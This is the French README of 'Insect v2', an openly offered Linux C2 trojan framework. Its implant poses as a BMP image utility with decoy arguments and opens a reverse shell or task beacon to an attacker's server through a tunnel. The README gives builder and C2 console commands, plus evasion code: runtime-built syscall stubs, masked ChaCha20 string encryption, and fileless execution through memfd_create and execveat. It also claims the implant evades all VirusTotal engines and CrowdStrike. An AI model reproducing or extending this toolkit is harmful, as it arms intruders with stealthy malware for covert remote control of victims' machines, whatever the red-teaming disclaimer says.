
Un reverse shell sans fichier et un framework C2 exploitant les appels système directs, le tunneling par proxy et le chiffrement ChaCha20 pour l'évasion des antivirus.
Insect est un cheval de Troie C2 pour des payloads Linux de reverse shell et de beacon sans fichier. Ce cheval de Troie se dissimule en tant qu'utilitaire de traitement d'images BMP 24 bits. Il utilise des stubs de syscall dynamiques, memfd_create, des ressources de chaînes chiffrées avec ChaCha20, un proxy tunnel et un chiffreur de profil ICC pour échapper à l'analyse statique. Le serveur C2 prend en charge 2 types de payloads, interactif et beacon.
La fabrication manuelle de syscalls est une technique ancienne, mais pour Insect v2, j'ai affiné la manière dont les stubs sont construits à l'exécution afin de rester sous le radar des scanners modernes. En construisant les syscalls dynamiquement, le payload évite les signatures standard que les antivirus statiques détectent habituellement.
Lors de tests en conditions réelles, il a réussi à contourner tous les moteurs de VirusTotal. Je l'ai également confronté à CrowdStrike Falcon, où il a reçu un « feu vert » sans aucune détection du moteur statique. Lors de l'analyse dynamique, il n'a suscité qu'un seul soupçon mineur et a finalement été classé comme sûr lui aussi.
Avertissement : Insect V2 est un travail en cours, et je ne cautionne aucune activité illégale. Vous êtes libre de l'utiliser à des fins de red teaming. Et de le modifier.
server.py → console C2 multi-session
main.c → implant revshell (shell interactif)
main_beacon.c → implant beacon (interrogation pilotée par tâches)
Nous avons 2 profils :
# Reverse shell interactif
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# Beacon piloté par tâches
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
Les deux produisent un binaire bmputil. Le builder chiffre toutes les chaînes en clair avec ChaCha20 au moment de la compilation, chiffre l'ELF compilé avec un masque de profil ICC, le répartit sur des sections ELF nommées, et génère un stub de chargement.
python3 server.py
Démarre un listener sur 0.0.0.0:8080 par défaut.
(insect) > list # afficher les sessions actives
(insect) > use rev-a1b2c3d4 # interagir avec un revshell
(insect) > task bea-deadbeef whoami # mettre en file une commande pour un beacon
(insect) > tasks bea-deadbeef # voir les résultats des tâches terminées
(insect) > listen beacon 0.0.0.0 9090 # démarrer un listener supplémentaire
(insect) > exit
Les sessions sont suivies via un identifiant statique unique de 4 octets intégré au moment de la compilation.
Lors de l'exécution sur la machine cible, le payload accepte des arguments factices pour maintenir la légitimité :
./bmputil input.bmp output.bmp --grayscale
Sous le capot, il fork, se reconnecte au C2 via un tunnel de handshake Minecraft (playit.gg), et attend un déclencheur 0xDEAD. Une fois déclenché, il redirige stdin/stdout/stderr vers le socket et lance /bin/sh.
Le serveur C2 conserve les connexions revshell dans un registre de sessions. Utilisez use <id> pour attacher votre terminal à une session.
Les beacons se connectent, s'enregistrent avec leur beacon_id intégré, vérifient les tâches en attente, les exécutent via fork + pipe + execve, rapportent les résultats, puis dorment pendant 30 secondes et se reconnectent.
Utilisez task <id> <command> pour mettre du travail en file. Les résultats sont stockés en mémoire et consultés avec tasks <id>.
Les deux profils partagent les mêmes primitives d'évasion :
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
Comme évoqué plus haut, les opcodes de syscall (0F 05) sont construits à l'exécution dans une mémoire exécutable afin d'éviter l'analyse statique.
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
Chaque chaîne est chiffrée au moment de la compilation avec un nonce unique. Le masque XOR sur les constantes d'état bloque les détections basées sur les signatures de la configuration ChaCha20.
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
Le payload s'exécute entièrement depuis la mémoire via memfd_create + execveat.
Techniquement, memfd_create et execveat sont détectés par les antivirus, mais ils sont chiffrés et construits à l'exécution, et étonnamment, lors de tests en conditions réelles, ils ne sont pas signalés.
L'ELF intermédiaire est chiffré par XOR avec une table de correspondance de couleurs ICC corrigée en gamma et une clé aléatoire de 32 octets, puis réparti sur 8 sections nommées .rodata.blk*. Le stub de chargement le réassemble, le déchiffre et l'exécute.
Cette méthode n'a rien de nouveau ; c'est plutôt une technique ancienne, mais insect v2 modifie et réimplémente des techniques mentionnées dans divers articles de sécurité et malwares, que vous pouvez consulter ici :